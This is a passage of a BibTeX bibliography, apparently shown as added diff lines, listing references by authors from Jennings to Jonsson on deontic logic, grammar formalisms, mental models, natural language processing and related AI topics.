agent-based software in solving complex, real-world + problems. In particular, it will be argued that the development + of robust and scalable software systems requires autonomous + agents that can complete their objectives while situated in a + dynamic and uncertain environment, that can engage in rich, + high-level social interactions, and that can operate within + flexible organisational structures. } , + topic = {multiagent-systems;distributed-systems;} + } + +@article{ jennings_re1:1974a, + author = {Raymond E. Jennings}, + title = {Utilitarian Semantics for Deontic Logic}, + journal = {Journal of Philosophical Logic}, + year = {1974}, + volume = {3}, + number = {4}, + pages = {445--456}, + contentnote = {Uses AE theory of set preference.}, + topic = {decision-theory;qualitative-utility;deontic-logic;preferences;} + } + +@article{ jennings_re1-etal:1981a, + author = {Raymond E. Jennings and Peter K. Schotch and D.K. Johnston}, + title = {The n-adic First-Order Undefinability of the{G}each Formula}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1981}, + volume = {22}, + number = {4}, + pages = {375--378}, + topic = {modal-logic;} + } + +@article{ jennings_re1:1985a, + author = {Raymond E. Jennings}, + title = {Can There be a Natural Deontic Logic}, + journal = {Synt\`hese}, + year = {1985}, + volume = {65}, + pages = {257--274}, + missinginfo = {number}, + topic = {decision-theory;qualitative-utility;} + } + +@book{ jennings_re1:1994a, + author = {Raymond E. Jennings}, + title = {The Geneology of Disjunction}, + publisher = {Oxford University Press}, + year = {1994}, + address = {Oxford}, + xref = {Review: adams_ew:1998a.}, + topic = {disjunction;disjunction-in-nl;} + } + +@article{ jennings_re2:1981a, + author = {Roy E. Jennings}, + title = {A Note of the Axiomatization of {B}rouwersche Modal Logic}, + journal = {Journal of Philosophical Logic}, + year = {1981}, + volume = {10}, + number = {2}, + pages = {341--343}, + topic = {intuitionistic-logic;} + } + +@book{ jensen-etal:1993a, + author = {Karen Jensen and George E. Heidorn and Stephen D. Richardson}, + title = {Natural Language Processing: The {PLNLP} Approach}, + publisher = {Kluwer Academic Publishers}, + year = {1993}, + address = {Dordrecht}, + ISBN = {0792392795 (acid-free paper)}, + contentnote = {TC: + 1. Alexis Manaster Ramer, "Towards transductive linguistics" + 2. Karen Jensen , "{PEG}: The {PLNLP} {E}nglish Grammar" + 3. Geogre Heidorn, "Experience with an Easily Computed + Metric for Ranking Alternative Parses" + 4. Karen Jensen et al., "Parse Fitting and Prose Fixing" + 5. Yael Ravin, "Grammar Errors and Style Weaknesses in a + Text-Critiquing System" + 6. Stephen Richardson and Lisa Braden-Harder, "The Experience of + Developing a Large-Scale Natural Language Processing + System: Critique" + 7. Taijiro Tsutsumi, "A Prototype {E}nglish-{J}apanese Machine + Translation System" + 8. Diana Santos, "Broad-Coverage Machine Translation" + 9. Judith Klavans, Martin Chodorow, and Nina Wacholder, "Building + a Knowledge Base from Parsed Definitions" + 10. Jean-Louis Binot and Karen Jensen, "A Semantic Expert Using + an Online Standard Dictionary" + } , + topic = {nl-processing;} + } + +@book{ jensen_ej-horvitz:1996a, + editor = {Eric J. Horvitz and F. Jensen}, + title = {Uncertainty in Artificial Intelligence. Proceedings of + the Twelfth Conference (1996)}, + publisher = {Morgan Kaufmann Publishers}, + year = {1996}, + address = {San Francisco}, + topic = {reasoning-about-uncertainty;} + } + +@incollection{ jensen_hs:1991a, + author = {Hans Siggard Jensen}, + title = {Extension and Intension in Anaphora Resolution}, + booktitle = {Working Papers in Computational Semantics, Dialogue and + Discourse}, + publisher = {Department of Mathematics, University of Oslo}, + year = {1991}, + editor = {Harold L. Somers}, + pages = {57--62}, + address = {P.O. Box 1053-Blindern, 0316 Oslo 3, Norway}, + topic = {anaphora;anaphora-resolution;} + } + +@incollection{ jensen_hs:1991b, + author = {Hans Sigurd Jensen}, + title = {Formal and Cognitive Semantics}, + booktitle = {Working Papers in Computational Semantics, Dialogue and + Discourse}, + publisher = {Department of Mathematics, University of Oslo}, + year = {1991}, + editor = {Harold L. Somers}, + pages = {116--120}, + address = {P.O. Box 1053-Blindern, 0316 Oslo 3, Norway}, + topic = {foundations-of-semantics;} + } + +@incollection{ jensen_k:1981a, + author = {Karen Jensen}, + title = {A Broad-Coverage Natural Language Analysis System}, + booktitle = {Current Issues in Parsing Technology}, + publisher = {Kluwer Academic Publishers}, + year = {1981}, + editor = {Masaru Tomita}, + pages = {261--276}, + address = {Dordrecht}, + topic = {parsing-algorithms;} + } + +@article{ jeroslaw:1975a, + author = {Robert G. Jeroslaw}, + title = {Experimental Logics and $\Delta^0_2$ Theories}, + journal = {Journal of Philosophical Logic}, + year = {1975}, + volume = {4}, + number = {3}, + pages = {253--267}, + topic = {experimental-logics;} + } + +@article{ jervell:2002a, + author = {Herman Ruge Jervell}, + title = {Review of ``The Complexity of Linear Logic with + Weakening,'', by {A}lisdair {U}rquhart}, + journal = {The Bulletin of Symbolic Logic}, + year = {2002}, + volume = {8}, + number = {1}, + pages = {100--101}, + xref = {Review of: urquhart:2000a.}, + topic = {linear-logic;proof-theory;complexity-theory;} + } + +@article{ jeske:1993a, + author = {Diane Jeske}, + title = {Persons, Compensation, and Utilitarianism}, + journal = {The Philosophical Review}, + year = {1993}, + volume = {102}, + number = {4}, + pages = {541--575}, + topic = {utilitarianism;} + } + +@book{ jespersen:1938a, + author = {Otto Jespersen}, + title = {Growth and Structure of the {E}nglish Language}, + edition = {10}, + publisher = {University of Chicago Press}, + year = {1938}, + address = {Chicago}, + note = {With a foreword by Randolph Quirk.}, + ISBN = {0226398773 (pbk.)}, + topic = {English-language;} + } + +@book{ jespersen:1961a, + author = {Otto Jespersen}, + title = {A Modern {E}nglish Grammar on Historical Principles}, + publisher = {John Dickens and Company}, + year = {1961}, + address = {Northampton, England}, + note = {Seven Volumes. (This work was originally published in 1909.)}, + topic = {descriptive-grammar;English-language; + linguistics-classic;} + } + +@book{ jespersen:1965a, + author = {Otto Jespersen}, + title = {The Philosophy of Grammar}, + publisher = {W.W.~Norton}, + year = {1965}, + address = {New York}, + note = {(This work was originally published in 1924.)}, + topic = {nl-semantics;philosophy-of-language;} + } + +@inproceedings{ jian-shi:1999a, + author = {Wenpin Jian and Ziongzhi Shi}, + title = {Formalizing Agent's Attitudes with Polyadic + $\pi$-Calculus}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Practical Reasoning and Rationality}, + year = {1999}, + editor = {John Bell}, + pages = {21--27}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {agent-attitudes;polyadic-pi-calculus;} + } + +@incollection{ jiang_yj:1994a, + author = {Yuejun J. Jiang}, + title = {On Multiagent Autoepistemic Logic---An Exospectrive View}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {317--328}, + address = {San Francisco, California}, + topic = {kr;autoepistemic-logic;multiagent-epistemic-logic;kr-course;} + } + +@article{ jimenez-torres:2000a, + author = {P. Jimenez and C. Torres}, + title = {An Efficient Algorithm for Searching Implicit {AND/OR} + Graphs with Cycles}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {124}, + number = {1}, + pages = {1--30}, + topic = {search;graph-based-reasoning;and/or-graphs ;} + } + +@incollection{ jing:1998a, + author = {Hongyan Jing}, + title = {Usage of {W}ord{N}et in Natural Language Generation}, + booktitle = {Use of {W}ord{N}et in Natural Language Processing + Systems: Proceedings of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Sanda Harabagiu}, + pages = {128--134}, + address = {Somerset, New Jersey}, + topic = {nl-processing;WordNet;nl-generation;} + } + +@article{ jo-etal:2000a, + author = {Geun-Sik Jo and Jong-Jin Jung and Jo-Hoon Koo and + Sang-Ho Hyu}, + title = {Ramp Activity Expert System for Scheduling and Coordination + at an Airport}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {21}, + number = {4}, + pages = {75--83}, + topic = {expert-systems;scheduling;} + } + +@incollection{ johansson:2000a, + author = {Christer Johansson}, + title = {A Context Sensitive Maximum Likelihood Approach to + Chunking}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {139--141}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;text-chunking;} + } + +@incollection{ john:1996a, + author = {Bonnie E. John}, + title = {Task Matters}, + booktitle = {Mind Matters: A Tribute to {A}llen {N}ewell}, + publisher = {Lawrence Erlbaum Associates, Inc.}, + year = {1996}, + editor = {David M. Steier and Tom M. Mitchell}, + address = {Mahwah, New Jersey}, + pages = {313--324}, + topic = {HCI;} + } + +@book{ johnslewis:1986a, + editor = {Catherine Johns-Lewis}, + title = {Intonation in Discourse}, + publisher = {Croom Helm}, + year = {1986}, + address = {London}, + topic = {intonation;discourse;} +} + +@article{ johnson_b:1989a, + author = {Bruce Johnson}, + title = {Is Vague Identity Incoherent?}, + journal = {Analysis}, + year = {1989}, + volume = {49}, + pages = {103--112}, + missinginfo = {number}, + topic = {vagueness;identity;} + } + +@article{ johnson_c:2001a, + author = {Christopher Johnson}, + title = {Review of {\it Pattern Grammar: A Corpus-Driven Approach + to the Lexical Grammar of {E}nglish}, by {S}usan {H}unston and + {G}ill {F}rancis}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {2}, + pages = {318--320}, + xref = {Review of: francis:2000a.}, + topic = {descriptive-grammar;corpus-linguistics;} + } + +@book{ johnson_d-erneling:1997a, + editor = {David Johnson and Christina Erneling}, + title = {The Future of the Cognitive Revolution}, + publisher = {Oxford University Press}, + year = {1997}, + address = {Oxford}, + topic = {cognitive-science-general;} + } + +@article{ johnson_de-moss:1994a, + author = {David E. Johnson and Lawrence S. Moss}, + title = {Grammar Formalisms Viewed as Evolving Algebras}, + journal = {Linguistics and Philosophy}, + year = {1994}, + volume = {17}, + number = {6}, + pages = {537--560}, + topic = {semantics-of-programming-languages;evolving-algebras; + grammar-formalisms;} + } + +@article{ johnson_de-lappin:1997a, + author = {David E. Johnson and Shalom Lappin}, + title = {A Critique of the Minimalist Program}, + journal = {Linguistics and Philosophy}, + year = {1997}, + volume = {20}, + number = {3}, + pages = {273--333}, + topic = {syntactic-minimalism;} + } + +@article{ johnson_de-moss:1997a, + author = {David E. Johnson and Lawrence S. Moss}, + title = {Introduction}, + journal = {Linguistics and Philosophy}, + year = {1997}, + volume = {20}, + number = {6}, + pages = {571--574}, + contentnote = {Introduction to a special issue on mathematics + of language.}, + topic = {mathematical-linguistics;} + } + +@book{ johnson_de-lappin:1999a, + author = {David E. Johnson and Shalom Lappin}, + title = {Local Constraints Vs. Economy}, + publisher = {Center for Study of Language and Information}, + year = {1999}, + address = {Stanford, California}, + ISBN = {1575861836}, + topic = {nl-syntax;grammar-formalisms;minimalist-syntax; + constraint-based-grammar;} + } + +@article{ johnson_f:1994a, + author = {Fred Johnson}, + title = {Syllogisms with Fractional Quantifiers}, + journal = {Journal of Philosophical Logic}, + year = {1994}, + volume = {23}, + number = {4}, + pages = {401--422}, + topic = {fractional-quantifiers;} + } + +@article{ johnson_f:1997a, + author = {Fred Johnson}, + title = {Extended {G}ergonne Syllogisms}, + journal = {Journal of Philosophical Logic}, + year = {1997}, + volume = {26}, + number = {3}, + pages = {553--567}, + topic = {syllogistic;} + } + +@techreport{ johnson_m-klein:1986a, + author = {Mark Johnson and Ewan Klein}, + title = {Discourse, Anaphora, and Parsing}, + institution = {Center for the Study of Language and Information}, + number = {CSLI--86--63}, + year = {1986}, + address = {Stanford, California}, + topic = {anaphora;nl-interpretation;pragmatics;} + } + +@unpublished{ johnson_m:1987a, + author = {Mark Johnson}, + title = {The Use of Knowledge of Language}, + year = {1987}, + note = {Unpublished manuscript, M.I.T.}, + topic = {parsing-as-deduction;competence;} + } + +@book{ johnson_m:1988a, + author = {Mark Johnson}, + title = {Attribute-Value Logic and the Theory of Grammar}, + publisher = {Center for the Study of Language and Information}, + year = {1988}, + address = {Stanford, California}, + topic = {feature-structure-logic;} + } + +@inproceedings{ johnson_m:1990a, + author = {Mark Johnson}, + Title = {Expressing Disjunctive and Negative Feature Constraints + With Classical First-Order Logic}, + booktitle = {Proceedings of the 28th Meeting of the Association for + Computational Linguistics}, + year = {1990}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + missinginfo = {Editor, pages, address}, + topic = {feature-structure-logic;} + } + +@book{ johnson_m:1993a, + author = {Mark Johnson}, + title = {Moral Imagination: Implications of Cognitive Science + for Ethics}, + publisher = {University of Chicago Press}, + year = {1993}, + address = {Chicago}, + topic = {cognitive-psychology;ethics;} + } + +@article{ johnson_m:1994a, + author = {Mark Johnson}, + title = {Two Ways of Formalizing Grammars}, + journal = {Linguistics and Philosophy}, + year = {1994}, + volume = {17}, + number = {3}, + pages = {221--248}, + topic = {grammar-formalisms;definite-clause-grammars; + feature-structure-grammar;} + } + +@article{ johnson_m:1998a, + author = {Mark Johnson}, + title = {{PCFG} Models of Linguistic Tree Represenations}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {4}, + pages = {613--632}, + topic = {probabilistic-algorithms; + probabilistic-context-free-grammars;} + } + +@incollection{ johnson_m:1998b, + author = {Mark Johnson}, + title = {The Effect of Alternative Tree Representations + on Tree Bank Grammars}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Natural Language + Learning: {NeMLaP3/CoNLL98}}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {David M.W. Powers}, + pages = {39--48}, + address = {Somerset, New Jersey}, + topic = {corpus-annotation;grammar-learning;} + } + +@article{ johnson_m:1999a, + author = {Mark Johnson}, + title = {A Resource Sensitive Interpretation of Lexical + Functional Grammar}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {1}, + pages = {45--81}, + topic = {LFG;feature-structures;unification-grammars; + multimodal-logic;substructural-logics;grammar-logics;} + } + +@book{ johnson_mr:1980a, + author = {Marion R. Johnson}, + title = {Ergativity in {I}nuktitut (Eskimo), in {M}ontague Grammar + and in Relational Grammar}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {ergativity;Inuit-language;Montague-grammar;} + } + +@article{ johnson_p-backstrom:1998a, + author = {Peter Johnson and Christer B\"ackstr\"om}, + title = {State-Variable Planning under Structural Restrictions: + Algorithms and Complexity}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {100}, + number = {1--2}, + pages = {125--176}, + topic = {planning;complexity-in-AI;} + } + +@incollection{ johnson_r-lugner:1994a, + author = {R. Johnson and R. Lugner}, + title = {{UD}, Yet Another Unification Device}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of {D}on {W}alker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {525--534}, + address = {Pisa and Dordrecht}, + topic = {unification;} + } + +@article{ johnson_rw:1986a, + author = {Rodney W. Johnson}, + title = {Independence and {B}ayesian Updating Methods}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {29}, + number = {2}, + pages = {217--222}, + topic = {probabilistic-reasoning;Bayesian-networks;} + } + +@article{ johnson_wl:1990a, + author = {W. Lewis Johnson}, + title = {Understanding and Debugging Novice Programs}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {42}, + number = {1}, + pages = {51--97}, + topic = {intelligent-tutoring;novice-misunderstandings;} + } + +@article{ johnson_wl:1991a, + author = {W. Lewis Johnson}, + title = {Review of {\em Intelligent Tutoring Systems: Lessons + Learned} by {J}. {P}sotka, {L}.{D}. {M}assey and {S}.{A}. {M}utter}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {48}, + number = {1}, + pages = {125--134}, + topic = {intelligent-tutoring;} + } + +@book{ johnsonlaird-wason:1977a, + editor = {Philip N. Johnson-Laird and Peter C. Wason}, + title = {Thinking: Readings in Cognitive Science}, + publisher = {Cambridge University Press}, + year = {1977}, + address = {Cambridge, England}, + ISBN = {0521217563 (hardcover), 0521292670 (pbk.)}, + topic = {cognitive-science-general;} + } + +@article{ johnsonlaird-garnham:1980a, + author = {Phillip N. Johnson-Laird and A. Garnham}, + title = {Descriptions and Discourse Models}, + journal = {Linguistics and Philosophy}, + year = {1980}, + volume = {3}, + number = {3}, + pages = {371--393}, + topic = {definite-descriptions;mental-models;} + } + +@incollection{ johnsonlaird:1981a, + author = {Philip N. Johnson-Laird}, + title = {Mental Models of Meaning}, + booktitle = {Elements of Discourse Understanding}, + publisher = {Cambridge University Press}, + year = {1981}, + editor = {Arivind Joshi and Bonnie Webber and Ivan Sag}, + pages = {106--126}, + address = {Cambridge, England}, + topic = {nl-semantics;mental-models;} + } + +@article{ johnsonlaird:1982a, + author = {Philip N. Johnson-Laird}, + title = {Procedural Semantics}, + journal = {Cognition}, + year = {1982}, + volume = {5}, + pages = {189--214}, + missinginfo = {number}, + topic = {procedural-semantics;} + } + +@incollection{ johnsonlaird:1982b, + author = {Philip N. Johnson-Laird}, + title = {Formal Semantics and the Psychology of Meaning}, + booktitle = {Processes, Beliefs, and Questions}, + publisher = {D. Reidel Publishing Company}, + year = {1982}, + editor = {Stanley Peters and Esa Saarinen}, + pages = {1--68}, + address = {Dordrecht}, + topic = {nl-semantics;nl-semantics-and-cognition;} + } + +@unpublished{ johnsonlaird:1983a, + author = {Philip N. Johnson-Laird}, + title = {Models of Conditionals}, + year = {1983}, + note = {Unpublished manuscript, MRC Applied Psychology Unit, + Cambridge, England.}, + topic = {conditionals;} + } + +@book{ johnsonlaird:1983b, + author = {Philip N. Johnson-Laird}, + title = {Mental Models: Towards a Cognitve Science of + Language}, + publisher = {Cambridge University Press}, + year = {1983}, + address = {Cambridge, England}, + topic = {mental-models;} + } + +@incollection{ johnsonlaird:1985a, + author = {Philip N. Johnson-Laird}, + title = {Reasoning without Logic}, + booktitle = {Reasoning and Discourse Processes}, + publisher = {Academic Press}, + year = {1985}, + editor = {Terry Myers and Keith Brown and Brendan McGonigle}, + pages = {13--49}, + address = {New York}, + topic = {mental-models;common-sense-reasoning;} + } + +@incollection{ johnsonlaird:1986a, + author = {Philip N. Johnson-Laird}, + title = {Conditionals and Mental Models}, + booktitle = {On Conditionals}, + publisher = {Cambridge University Press}, + year = {1986}, + editor = {Elizabeth Traugott and Alice {ter Meulen} and Judy Reilly}, + pages = {55--76}, + address = {Cambridge, England}, + topic = {conditionals;logic-and-cognition;} + } + +@incollection{ johnsonlaird:1989a, + author = {Philip N. Johnson-Laird}, + title = {Mental Models}, + booktitle = {Foundations of Cognitive Science}, + publisher = {The {MIT} Press}, + year = {1989}, + editor = {Michael I. Posner}, + chapter = {12}, + pages = {469--499}, + address = {Cambridge, Massachusetts}, + topic = {mental-models;} + } + +@book{ johnsonlaird-byrne:1991a, + author = {Phillip N. Johnson-Laird and Ruth M. J. Byrne}, + title = {Deduction}, + publisher = {Lawrence Erlbaum Associates, Inc.}, + year = {1991}, + address = {Hillsdale, New Jersey}, + ISBN = {0863771483}, + topic = {psychology-of-deduction;} + } + +@article{ johnsonlaird-oatley:1992a, + author = {P. N. Johnson-Laird and Keith Oatley}, + title = {Basic Emotions, Rationality, and Folk Theory}, + journal = {Cognition and Emotion}, + volume = {6}, + number = {3/4}, + pages = {201--223}, + year = {1992}, + topic = {emotion;folk-psychology;} + } + +@book{ johnsonlaird:1993a, + author = {Philip N. Johnson-Laird}, + title = {Human and Machine Thinking}, + publisher = {Lawrence Erlbaum Associates}, + year = {1993}, + address = {Hillsdale, New Jersey}, + ISBN = {080580921X}, + topic = {cognitive-psychology;} + } + +@incollection{ johnsonlaird:1996a, + author = {Philip N. Johnson-Laird}, + title = {The Process of Deduction}, + booktitle = {Mind Matters: A Tribute to {A}llen {N}ewell}, + publisher = {Lawrence Erlbaum Associates, Inc.}, + year = {1996}, + editor = {David M. Steier and Tom M. Mitchell}, + address = {Mahwah, New Jersey}, + pages = {363--399}, + topic = {deductive-reasoning;cognitive-psychology;mental-models;} + } + +@article{ johnston_m1:1988a, + author = {Mark Johnston}, + title = {The End of the Theory of Meaning}, + journal = {Mind and Language}, + year = {1988}, + volume = {3}, + number = {1}, + pages = {28--42}, + xref = {Discussion of schiffer:1987a.}, + topic = {philosophy-of-language;foundations-of-semantics;} + } + +@incollection{ johnston_m1:1989a, + author = {Mark Johnston}, + title = {Fission and the Facts}, + booktitle = {Philosophical Perspectives 3: + Philosophy of Mind and Action Theory}, + publisher = {Ridgeview Publishing Company}, + year = {1989}, + editor = {James E. Tomberlin}, + pages = {369--397}, + address = {Atasacadero, California}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {common-sense;personal-identity;} + } + +@incollection{ johnston_m1:1993a, + author = {Mark Johnston}, + title = {Verificationism as Philosophical Narcissism}, + booktitle = {Philosophical Perspectives, Volume 7: + Language and Logic}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {James E. Tomberlin}, + pages = {307--330}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {verificationalism;philosophical-realism;} + } + +@article{ johnston_m1:1997a, + author = {Mark Johnston}, + title = {Manifest Kinds}, + journal = {The Journal of Philosophy}, + year = {1997}, + volume = {94}, + number = {11}, + pages = {564--583}, + topic = {natural-kinds;identity;individuation;} + } + +@inproceedings{ johnston_m2-etal:1997a, + author = {Michael Johnston and Philip R. Cohen and David McGee + and Sharon L. Oviatt and James A. Pittman and Ira Smith}, + title = {Unification-Based Multimodal Integration}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {281--288}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {nl-interpretation;multimodal-communication;} + } + +@book{ johnstone:1994a, + editor = {Barbara Johnstone}, + title = {Repetition in Discourse: Interdisciplinary Perspectives}, + publisher = {Ablex Publishing Co.}, + address = {Norwood, New Jersey}, + year = {1994}, + topic = {discourse-analysis;} +} + +@inproceedings{ jokinen:1995a, + author = {Kristina Jokinen}, + title = {Rationality in Constructive Dialogue Management}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Rational Agency: Concepts, Theories, Models, and Applications}, + year = {1995}, + editor = {Michael Fehling}, + pages = {89--93}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {communications-modeling;agent-modeling;} + } + +@unpublished{ jokinen:1996a, + author = {Kristina Jokinen}, + title = {Rationality in Constructive Dialogue Management}, + year = {1996}, + note = {Unpublished manuscript, Naval Institute of Science and + Technology, Ikoma.}, + missinginfo = {Date is a guess. Published in some workshop?}, + topic = {rationality;discourse;pragmatics;} + } + +@incollection{ jokinen-etal:1998a, + author = {Kristina Jokinen and Hideki Tanaka and Akio Yokoo}, + title = {Planning Dialogue Contributions with New Information}, + booktitle = {Proceedings of the Ninth International Workshop + on Natural Language Generation}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Eduard Hovy}, + pages = {158--167}, + address = {New Brunswick, New Jersey}, + topic = {nl-generation;discourse-planning;old/new-information;} + } + +@article{ jones_a-porn:1985a, + author = {Andrew Jones and Ingmar P\"orn}, + title = {Ideality, Sub-Ideality and Deontic Logic}, + journal = {Synth\'ese}, + volume = {65}, + pages = {275--290}, + year = {1985}, + topic = {deontic-logic;} + } + +@incollection{ jones_aji:1986a, + author = {Andrew J.I. Jones}, + title = {Toward a Formal Theory of Communication and Speech Acts}, + booktitle = {Reasoning about Actions and Plans}, + publisher = {Morgan Kaufmann}, + year = {1986}, + editor = {Michael P. Georgeff and Amy Lansky}, + pages = {141--160}, + address = {Los Altos, California}, + contentnote = {Influence from Dretske. Formalization involves deontic, + epistemic logic. It might be useful to compare this with Halpern's + approach to communication.}, + topic = {speech-acts;pragmatics;} + } + +@inproceedings{ jones_b:1994a, + author = {Bernard Jones}, + title = {Exploring the Role of Punctuation in Parsing Natural + Language}, + pages = {421--425}, + booktitle = {Proceedings of {COLING} '94}, + address = {Kyoto, Japan}, + year = {1994}, + topic = {punctuation;} +} + +@techreport{ jones_b:1994b, + author = {Bernard Jones}, + title = {Can Punctuation Help Parsing?}, + institution = {Cambridge University Computer Laboratory}, + year = {1994}, + type = {Acquilex-II Working Paper}, + address = {Cambridge, UK}, + number = {29}, + topic = {punctuation;parsing-algorithms;} +} + +@book{ jones_c-sells:1984a, + editor = {C. Jones and Peter Sells}, + title = {{NELS 14}: Proceedings of the Fourteenth Conference of the + {N}orth {E}ast {L}inguistic {S}ociety}, + publisher = {GLSA Publications}, + year = {1984}, + address = {Amherst, Massachusetts}, + note = {URL FOR GLSA Publications: + http://www.umass.edu/linguist/glsa-pubs.html.}, + topic = {linguistics-proceedings;nl-syntax;nl-semantics;} + } + +@book{ jones_gw:1990a, + author = {Gregory W. Jones}, + title = {Software Engineering}, + publisher = {John Wiley and Sons}, + year = {1990}, + address = {New York}, + ISBN = {0471608823}, + topic = {software-engineering;} + } + +@incollection{ jones_j-millington:1988a, + author = {John Jones and Mark Millington}, + title = {Modeling {U}nix Users with an Assumption-Based Truth + Maintenance System: Some Preliminary Results}, + booktitle = {Reason Maintenance Systems and Their Applications}, + publisher = {Ellis Horwood, Ltd.}, + year = {1988}, + editor = {Barbara Smith and Gerald Kelleher}, + pages = {134--154}, + address = {Chichester}, + topic = {truth-maintenance;applied-nonmonotonic-reasoning; + user-modeling;} + } + +@incollection{ jones_ks:1989a, + author = {Karen {Sparck Jones}}, + title = {Realism about User Modeling}, + booktitle = {User Models in Dialog Systems}, + year = {1989}, + editor = {Alfred Kobsa and Wolfgang Wahlster}, + publisher = {Springer-Verlag, Symbolic Computaion Series}, + pages = {341--363}, + note = {Also available as Technical Report 111, University of + Cambridge Computer Laboratory.}, + topic = {user-modeling;} +} + +@techreport{ jones_ks:1989b, + author = {Karen {Sparck Jones}}, + title = {Tailoring Output to the User: What Does User Modeling in + Generation Mean?}, + institution = {University of Cambridge Computer Laboratory}, + number = {158}, + year = {1989}, + topic = {nl-generation;user-modeling;} +} + +@inproceedings{ jones_ks:1990a, + author = {Karen Sparck Jones}, + title = {What's in a User?}, + booktitle = {Proceedings of the Eighth National Conference on + Artificial Intelligence}, + year = {1990}, + editor = {Thomas Dietterich and William Swartout}, + pages = {1140--1141}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, CA}, + topic = {user-modeling;} + } + +@incollection{ jones_ks:1994a, + author = {Karen Sparck Jones}, + title = {Natural Language Processing: A Historical Review}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of Don Walker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {3--16}, + address = {Pisa and Dordrecht}, + contentnote = {This is a useful overview.}, + topic = {nlp-survey;nlp-history;} + } + +@book{ jones_ks-galliers:1995a, + author = {Karen Sparck Jones and Julia R. Galliers}, + title = {Evaluating Natural Language Processing + Systems: An Analysis and a Review}, + publisher = {Springer-Verlag}, + year = {1995}, + address = {Berlin}, + xref = {Review: walter:1998a, wilks:1999a.}, + topic = {nlp-evaluation;} + } + +@article{ jones_ks:1999a, + author = {Karen Sparck Jones}, + title = {Information Retrieval and Artificial Intelligence}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {114}, + number = {1--2}, + pages = {257--281}, + topic = {information-retrieval;text-summarization;} + } + +@book{ jones_na:1997a, + author = {Neil A. Jones}, + title = {Computability and Complexity from a Programming Perspective}, + publisher = {The {MIT} Press}, + year = {1997}, + address = {Cambridge, Massachusetts}, + topic = {complexity-theory;art-of-programming;} + } + +@incollection{ jonker:1993a, + author = {Catholijn Jonker}, + title = {Cautious Backtracking in Truth Maintenance Systems}, + booktitle = {Diamonds and Defaults}, + publisher = {Kluwer Academic Publishers}, + editor = {Maarten de Rijke}, + year = {1993}, + pages = {147--173}, + address = {Dordrecht}, + topic = {truth-maintenance;belief-revision;backtracking;} + } + +@inproceedings{ jonssen_a:1995a, + author = {Arne J\"onssen}, + title = {Dialogue Actions for Natural Language Interfaces}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1405--1411}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {discourse-management;pragmatics;nl-interfaces;} + } + +@incollection{ jonsson_ak-ginsberg_ml:1996a, + author = {Ari K. J\"onsson and Matthew L. Ginsberg}, + title = {Procedural Reasoning in Constraint Satisfaction}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {160--171}, + address = {San Francisco, California}, + topic = {constraint-satisfaction;search;} + } + +@incollection{ jonsson_p-etal:1996a, + author = {Peter Jonsson and Thomas Drakengren and Christer B\"ackstr\"om}, + title = {Tractable Subclasses of the Point-Interval Algebra: A Complete + Classification}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {352--363}, + address = {San Francisco, California}, + topic = {kr;temporal-reasoning;kr-complexity-analysis;tractable-logics; + interval-algebras;} + } + +@article{ 